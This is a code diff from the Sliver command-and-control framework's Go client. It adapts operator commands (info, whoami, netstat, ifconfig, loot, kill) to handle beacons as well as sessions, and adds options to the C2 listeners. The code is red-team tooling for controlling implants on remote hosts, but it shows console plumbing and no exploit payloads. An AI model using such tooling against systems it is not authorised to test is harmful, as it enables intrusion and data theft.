con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
|
||||
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
|
||||
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
|
||||
|
||||
} else {
|
||||
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
|
||||
}
|
||||
@@ -60,36 +77,52 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
// PIDCmd - Get the active session's PID
|
||||
func PIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
con.Printf("%d\n", session.PID)
|
||||
if session != nil {
|
||||
con.Printf("%d\n", session.PID)
|
||||
} else if beacon != nil {
|
||||
con.Printf("%d\n", beacon.PID)
|
||||
}
|
||||
}
|
||||
|
||||
// UIDCmd - Get the active session's UID
|
||||
func UIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
con.Printf("%s\n", session.UID)
|
||||
if session != nil {
|
||||
con.Printf("%s\n", session.UID)
|
||||
} else if beacon != nil {
|
||||
con.Printf("%s\n", beacon.UID)
|
||||
}
|
||||
}
|
||||
|
||||
// GIDCmd - Get the active session's GID
|
||||
func GIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
con.Printf("%s\n", session.GID)
|
||||
if session != nil {
|
||||
con.Printf("%s\n", session.GID)
|
||||
} else if beacon != nil {
|
||||
con.Printf("%s\n", beacon.GID)
|
||||
}
|
||||
}
|
||||
|
||||
// WhoamiCmd - Displays the current user of the active session
|
||||
func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
con.Printf("%s\n", session.Username)
|
||||
if session != nil {
|
||||
con.Printf("%s\n", session.Username)
|
||||
} else if beacon != nil {
|
||||
con.Printf("%s\n", beacon.Username)
|
||||
}
|
||||
}
|
||||
@@ -11,7 +11,7 @@ import (
|
||||
|
||||
// PingCmd - Send a round trip C2 message to an implant (does not use ICMP)
|
||||
func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -20,7 +20,7 @@ func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Ping %d\n", nonce)
|
||||
pong, err := con.Rpc.Ping(context.Background(), &sliverpb.Ping{
|
||||
Nonce: int32(nonce),
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -37,11 +37,13 @@ func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lport := uint16(ctx.Flags.Int("lport"))
|
||||
|
||||
con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
|
||||
dns, err := con.Rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
|
||||
Domains: domains,
|
||||
Host: lhost,
|
||||
Port: uint32(lport),
|
||||
Canaries: !ctx.Flags.Bool("no-canaries"),
|
||||
Persistent: ctx.Flags.Bool("persistent"),
|
||||
|
||||
@@ -20,6 +20,7 @@ package jobs
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -29,15 +30,31 @@ import (
|
||||
// HTTPListenerCmd - Start an HTTP listener
|
||||
func HTTPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
domain := ctx.Flags.String("domain")
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lport := uint16(ctx.Flags.Int("lport"))
|
||||
disableOTP := ctx.Flags.Bool("disable-otp")
|
||||
longPollTimeout, err := time.ParseDuration(ctx.Flags.String("long-poll-timeout"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
longPollJitter, err := time.ParseDuration(ctx.Flags.String("long-poll-jitter"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Starting HTTP %s:%d listener ...\n", domain, lport)
|
||||
http, err := con.Rpc.StartHTTPListener(context.Background(), &clientpb.HTTPListenerReq{
|
||||
Domain: domain,
|
||||
Website: ctx.Flags.String("website"),
|
||||
Port: uint32(lport),
|
||||
Secure: false,
|
||||
Persistent: ctx.Flags.Bool("persistent"),
|
||||
Domain: domain,
|
||||
Website: ctx.Flags.String("website"),
|
||||
Host: lhost,
|
||||
Port: uint32(lport),
|
||||
Secure: false,
|
||||
Persistent: ctx.Flags.Bool("persistent"),
|
||||
EnforceOTP: !disableOTP,
|
||||
LongPollTimeout: int64(longPollTimeout),
|
||||
LongPollJitter: int64(longPollJitter),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -21,6 +21,7 @@ package jobs
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -31,8 +32,21 @@ import (
|
||||
func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
domain := ctx.Flags.String("domain")
|
||||
website := ctx.Flags.String("website")
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lport := uint16(ctx.Flags.Int("lport"))
|
||||
|
||||
disableOTP := ctx.Flags.Bool("disable-otp")
|
||||
longPollTimeout, err := time.ParseDuration(ctx.Flags.String("long-poll-timeout"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
longPollJitter, err := time.ParseDuration(ctx.Flags.String("long-poll-jitter"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
cert, key, err := getLocalCertificatePair(ctx)
|
||||
if err != nil {
|
||||
con.Println()
|
||||
@@ -42,14 +56,18 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
con.PrintInfof("Starting HTTPS %s:%d listener ...\n", domain, lport)
|
||||
https, err := con.Rpc.StartHTTPSListener(context.Background(), &clientpb.HTTPListenerReq{
|
||||
Domain: domain,
|
||||
Website: website,
|
||||
Port: uint32(lport),
|
||||
Secure: true,
|
||||
Cert: cert,
|
||||
Key: key,
|
||||
ACME: ctx.Flags.Bool("lets-encrypt"),
|
||||
Persistent: ctx.Flags.Bool("persistent"),
|
||||
Domain: domain,
|
||||
Website: website,
|
||||
Host: lhost,
|
||||
Port: uint32(lport),
|
||||
Secure: true,
|
||||
Cert: cert,
|
||||
Key: key,
|
||||
ACME: ctx.Flags.Bool("lets-encrypt"),
|
||||
Persistent: ctx.Flags.Bool("persistent"),
|
||||
EnforceOTP: !disableOTP,
|
||||
LongPollTimeout: int64(longPollTimeout),
|
||||
LongPollJitter: int64(longPollJitter),
|
||||
})
|
||||
con.Println()
|
||||
if err != nil {
|
||||
|
||||
+22
-15
@@ -21,16 +21,15 @@ package jobs
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// JobsCmd - Manage server jobs (listeners, etc)
|
||||
@@ -51,33 +50,41 @@ func JobsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
activeJobs[job.ID] = job
|
||||
}
|
||||
if 0 < len(activeJobs) {
|
||||
printJobs(activeJobs)
|
||||
PrintJobs(activeJobs, con)
|
||||
} else {
|
||||
con.PrintInfof("No active jobs\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func printJobs(jobs map[uint32]*clientpb.Job) {
|
||||
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
|
||||
fmt.Fprintf(table, "ID\tName\tProtocol\tPort\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("ID")),
|
||||
strings.Repeat("=", len("Name")),
|
||||
strings.Repeat("=", len("Protocol")),
|
||||
strings.Repeat("=", len("Port")))
|
||||
// PrintJobs - Prints a list of active jobs
|
||||
func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient) {
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Protocol",
|
||||
"Port",
|
||||
})
|
||||
|
||||
var keys []int
|
||||
for _, job := range jobs {
|
||||
keys = append(keys, int(job.ID))
|
||||
}
|
||||
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
|
||||
sort.Ints(keys)
|
||||
|
||||
for _, k := range keys {
|
||||
job := jobs[uint32(k)]
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\t%d\t\n", job.ID, job.Name, job.Protocol, job.Port)
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf("%d", job.ID),
|
||||
job.Name,
|
||||
job.Protocol,
|
||||
fmt.Sprintf("%d", job.Port),
|
||||
})
|
||||
}
|
||||
table.Flush()
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func jobKill(jobID uint32, con *console.SliverConsoleClient) {
|
||||
|
||||
@@ -28,12 +28,12 @@ import (
|
||||
|
||||
// MTLSListenerCmd - Start an mTLS listener
|
||||
func MTLSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
server := ctx.Flags.String("server")
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lport := uint16(ctx.Flags.Int("lport"))
|
||||
|
||||
con.PrintInfof("Starting mTLS listener ...\n")
|
||||
mtls, err := con.Rpc.StartMTLSListener(context.Background(), &clientpb.MTLSListenerReq{
|
||||
Host: server,
|
||||
Host: lhost,
|
||||
Port: uint32(lport),
|
||||
Persistent: ctx.Flags.Bool("persistent"),
|
||||
})
|
||||
|
||||
@@ -52,7 +52,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
profile := generate.GetImplantProfileByName(profileName, con)
|
||||
if profile != nil {
|
||||
if profile == nil {
|
||||
con.PrintErrorf("Profile not found\n")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -0,0 +1,95 @@
|
||||
package kill
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// KillCmd - Kill the active session (not to be confused with TerminateCmd)
|
||||
func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
// Confirm with the user, just in case they confused kill with terminate
|
||||
confirm := false
|
||||
con.PrintWarnf("WARNING: This will kill the remote implant process\n\n")
|
||||
if session != nil {
|
||||
survey.AskOne(&survey.Confirm{Message: "Kill the active session?"}, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := KillSession(session, ctx.Flags.Bool("force"), con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
|
||||
con.ActiveTarget.Background()
|
||||
return
|
||||
} else if beacon != nil {
|
||||
survey.AskOne(&survey.Confirm{Message: "Kill the active beacon?"}, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
|
||||
con.ActiveTarget.Background()
|
||||
return
|
||||
}
|
||||
con.PrintErrorf("No active session or beacon\n")
|
||||
return
|
||||
}
|
||||
|
||||
func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
|
||||
if session == nil {
|
||||
return errors.New("session does not exist")
|
||||
}
|
||||
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Request: &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
},
|
||||
Force: force,
|
||||
})
|
||||
return err
|
||||
}
|
||||
|
||||
func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
|
||||
if beacon == nil {
|
||||
return errors.New("session does not exist")
|
||||
}
|
||||
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Request: &commonpb.Request{
|
||||
BeaconID: beacon.ID,
|
||||
},
|
||||
Force: force,
|
||||
})
|
||||
return err
|
||||
|
||||
}
|
||||
@@ -38,7 +38,7 @@ import (
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// --- Loot Command ---
|
||||
// LootCmd - The loot root command
|
||||
func LootCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
filter := ctx.Flags.String("filter")
|
||||
var allLoot *clientpb.AllLoot
|
||||
@@ -46,7 +46,7 @@ func LootCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if filter == "" {
|
||||
allLoot, err = con.Rpc.LootAll(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintWarnf("Failed to fetch loot %s\n", err)
|
||||
con.PrintErrorf("Failed to fetch loot %s\n", err)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
|
||||
@@ -33,7 +33,7 @@ import (
|
||||
|
||||
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
|
||||
func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -60,7 +60,7 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
|
||||
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -20,37 +20,74 @@ package network
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// IfconfigCmd - Display network interfaces on the remote system
|
||||
func IfconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
ifconfig, err := con.Rpc.Ifconfig(context.Background(), &sliverpb.IfconfigReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
all := ctx.Flags.Bool("all")
|
||||
if ifconfig.Response != nil && ifconfig.Response.Async {
|
||||
con.AddBeaconCallback(ifconfig.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, ifconfig)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintIfconfig(ifconfig, all, con)
|
||||
})
|
||||
con.PrintAsyncResponse(ifconfig.Response)
|
||||
} else {
|
||||
PrintIfconfig(ifconfig, all, con)
|
||||
}
|
||||
}
|
||||
|
||||
for ifaceIndex, iface := range ifconfig.NetInterfaces {
|
||||
con.Printf("%s%s%s (%d)\n", console.Bold, iface.Name, console.Normal, ifaceIndex)
|
||||
// PrintIfconfig - Print the ifconfig response
|
||||
func PrintIfconfig(ifconfig *sliverpb.Ifconfig, all bool, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
interfaces := ifconfig.NetInterfaces
|
||||
sort.Slice(interfaces, func(i, j int) bool {
|
||||
return interfaces[i].Index < interfaces[j].Index
|
||||
})
|
||||
hidden := 0
|
||||
for index, iface := range interfaces {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableWithBordersStyle(con))
|
||||
tw.SetTitle(fmt.Sprintf(console.Bold+"%s"+console.Normal, iface.Name))
|
||||
tw.SetColumnConfigs([]table.ColumnConfig{
|
||||
{Name: "#", AutoMerge: true},
|
||||
{Name: "IP Address", AutoMerge: true},
|
||||
{Name: "MAC Address", AutoMerge: true},
|
||||
})
|
||||
rowConfig := table.RowConfig{AutoMerge: true}
|
||||
tw.AppendHeader(table.Row{"#", "IP Addresses", "MAC Address"}, rowConfig)
|
||||
macAddress := ""
|
||||
if 0 < len(iface.MAC) {
|
||||
con.Printf(" MAC Address: %s\n", iface.MAC)
|
||||
macAddress = iface.MAC
|
||||
}
|
||||
ips := []string{}
|
||||
for _, ip := range iface.IPAddresses {
|
||||
|
||||
// Try to find local IPs and colorize them
|
||||
subnet := -1
|
||||
if strings.Contains(ip, "/") {
|
||||
@@ -61,15 +98,30 @@ func IfconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
subnet = -1
|
||||
}
|
||||
}
|
||||
|
||||
if 0 < subnet && subnet <= 32 && !isLoopback(ip) {
|
||||
con.Printf(console.Bold+console.Green+" IP Address: %s%s\n", ip, console.Normal)
|
||||
} else if 32 < subnet && !isLoopback(ip) {
|
||||
con.Printf(console.Bold+console.Cyan+" IP Address: %s%s\n", ip, console.Normal)
|
||||
} else {
|
||||
con.Printf(" IP Address: %s\n", ip)
|
||||
ips = append(ips, fmt.Sprintf(console.Bold+console.Green+"%s"+console.Normal, ip))
|
||||
} else if all {
|
||||
ips = append(ips, fmt.Sprintf("%s", ip))
|
||||
}
|
||||
}
|
||||
if !all && len(ips) < 1 {
|
||||
hidden++
|
||||
continue
|
||||
}
|
||||
if 0 < len(ips) {
|
||||
for _, ip := range ips {
|
||||
tw.AppendRow(table.Row{iface.Index, ip, macAddress}, rowConfig)
|
||||
}
|
||||
} else {
|
||||
tw.AppendRow(table.Row{iface.Index, " ", macAddress}, rowConfig)
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
if index+1 < len(interfaces) {
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
if !all {
|
||||
con.Printf("%d adapters not shown.\n", hidden)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -22,17 +22,20 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// NetstatCmd - Display active network connections on the remote system
|
||||
func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -42,8 +45,11 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
tcp := ctx.Flags.Bool("tcp")
|
||||
udp := ctx.Flags.Bool("udp")
|
||||
|
||||
implantPID := getPID(session, beacon)
|
||||
activeC2 := getActiveC2(session, beacon)
|
||||
|
||||
netstat, err := con.Rpc.Netstat(context.Background(), &sliverpb.NetstatReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
TCP: tcp,
|
||||
UDP: udp,
|
||||
Listening: listening,
|
||||
@@ -54,10 +60,22 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
displayEntries(netstat.Entries, con)
|
||||
if netstat.Response != nil && netstat.Response.Async {
|
||||
con.AddBeaconCallback(netstat.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, netstat)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintNetstat(netstat, implantPID, activeC2, con)
|
||||
})
|
||||
con.PrintAsyncResponse(netstat.Response)
|
||||
} else {
|
||||
PrintNetstat(netstat, implantPID, activeC2, con)
|
||||
}
|
||||
}
|
||||
|
||||
func displayEntries(entries []*sliverpb.SockTabEntry, con *console.SliverConsoleClient) {
|
||||
func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, con *console.SliverConsoleClient) {
|
||||
lookup := func(skaddr *sliverpb.SockTabEntry_SockAddr) string {
|
||||
const IPv4Strlen = 17
|
||||
addr := skaddr.Ip
|
||||
@@ -71,30 +89,48 @@ func displayEntries(entries []*sliverpb.SockTabEntry, con *console.SliverConsole
|
||||
return fmt.Sprintf("%s:%d", addr, skaddr.Port)
|
||||
}
|
||||
|
||||
con.Printf("Proto %-23s %-23s %-12s %-16s\n", "Local Addr", "Foreign Addr", "State", "PID/Program name")
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
for _, e := range entries {
|
||||
p := ""
|
||||
if e.Process != nil {
|
||||
p = fmt.Sprintf("%d/%s", e.Process.Pid, e.Process.Executable)
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{"Protocol", "Local Address", "Foreign Address", "State", "PID/Program name"})
|
||||
|
||||
for _, entry := range netstat.Entries {
|
||||
pid := ""
|
||||
if entry.Process != nil {
|
||||
pid = fmt.Sprintf("%d/%s", entry.Process.Pid, entry.Process.Executable)
|
||||
}
|
||||
srcAddr := lookup(e.LocalAddr)
|
||||
dstAddr := lookup(e.RemoteAddr)
|
||||
if e.Process != nil && e.Process.Pid == session.PID && isSliverAddr(dstAddr, con) {
|
||||
con.Printf("%s%-5s %-23.23s %-23.23s %-12s %-16s%s\n",
|
||||
console.Green, e.Protocol, srcAddr, dstAddr, e.SkState, p, console.Normal)
|
||||
srcAddr := lookup(entry.LocalAddr)
|
||||
dstAddr := lookup(entry.RemoteAddr)
|
||||
if entry.Process != nil && entry.Process.Pid == implantPID {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(console.Green+"%s"+console.Normal, entry.Protocol),
|
||||
fmt.Sprintf(console.Green+"%s"+console.Normal, srcAddr),
|
||||
fmt.Sprintf(console.Green+"%s"+console.Normal, dstAddr),
|
||||
fmt.Sprintf(console.Green+"%s"+console.Normal, entry.SkState),
|
||||
fmt.Sprintf(console.Green+"%s"+console.Normal, pid),
|
||||
})
|
||||
} else {
|
||||
con.Printf("%-5s %-23.23s %-23.23s %-12s %-16s\n",
|
||||
e.Protocol, srcAddr, dstAddr, e.SkState, p)
|
||||
tw.AppendRow(table.Row{entry.Protocol, srcAddr, dstAddr, entry.SkState, pid})
|
||||
}
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func isSliverAddr(dstAddr string, con *console.SliverConsoleClient) bool {
|
||||
parts := strings.Split(dstAddr, ":")
|
||||
if len(parts) != 3 {
|
||||
return false
|
||||
func getActiveC2(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.ActiveC2
|
||||
}
|
||||
c2Addr := strings.Split(con.ActiveSession.GetInteractive().ActiveC2, "://")[1]
|
||||
return strings.Join(parts[:2], ":") == c2Addr
|
||||
if beacon != nil {
|
||||
return beacon.ActiveC2
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func getPID(session *clientpb.Session, beacon *clientpb.Beacon) int32 {
|
||||
if session != nil {
|
||||
return session.PID
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.PID
|
||||
}
|
||||
return -1
|
||||
}
|
||||
@@ -19,17 +19,15 @@ package operators
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// OperatorsCmd - Display operators and current online status
|
||||
@@ -45,46 +43,24 @@ func OperatorsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
func displayOperators(operators []*clientpb.Operator, con *console.SliverConsoleClient) {
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Column Headers
|
||||
fmt.Fprintln(table, "Operator\tStatus\t")
|
||||
fmt.Fprintf(table, "%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Operator")),
|
||||
strings.Repeat("=", len("Status")),
|
||||
)
|
||||
|
||||
colorRow := []string{"", ""} // Two uncolored rows for the headers
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Status",
|
||||
})
|
||||
for _, operator := range operators {
|
||||
// This is the CA, but I guess you could also name an operator
|
||||
// "multiplayer" and it'll never show up in the list
|
||||
if operator.Name == "multiplayer" {
|
||||
continue
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t\n", operator.Name, status(operator.Online))
|
||||
if operator.Online {
|
||||
colorRow = append(colorRow, console.Bold+console.Green)
|
||||
} else {
|
||||
colorRow = append(colorRow, "")
|
||||
}
|
||||
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
lines := strings.Split(outputBuf.String(), "\n")
|
||||
for lineNumber, line := range lines {
|
||||
if len(line) == 0 {
|
||||
continue
|
||||
}
|
||||
con.Printf("%s%s%s\n", colorRow[lineNumber], line, console.Normal)
|
||||
tw.AppendRow(table.Row{
|
||||
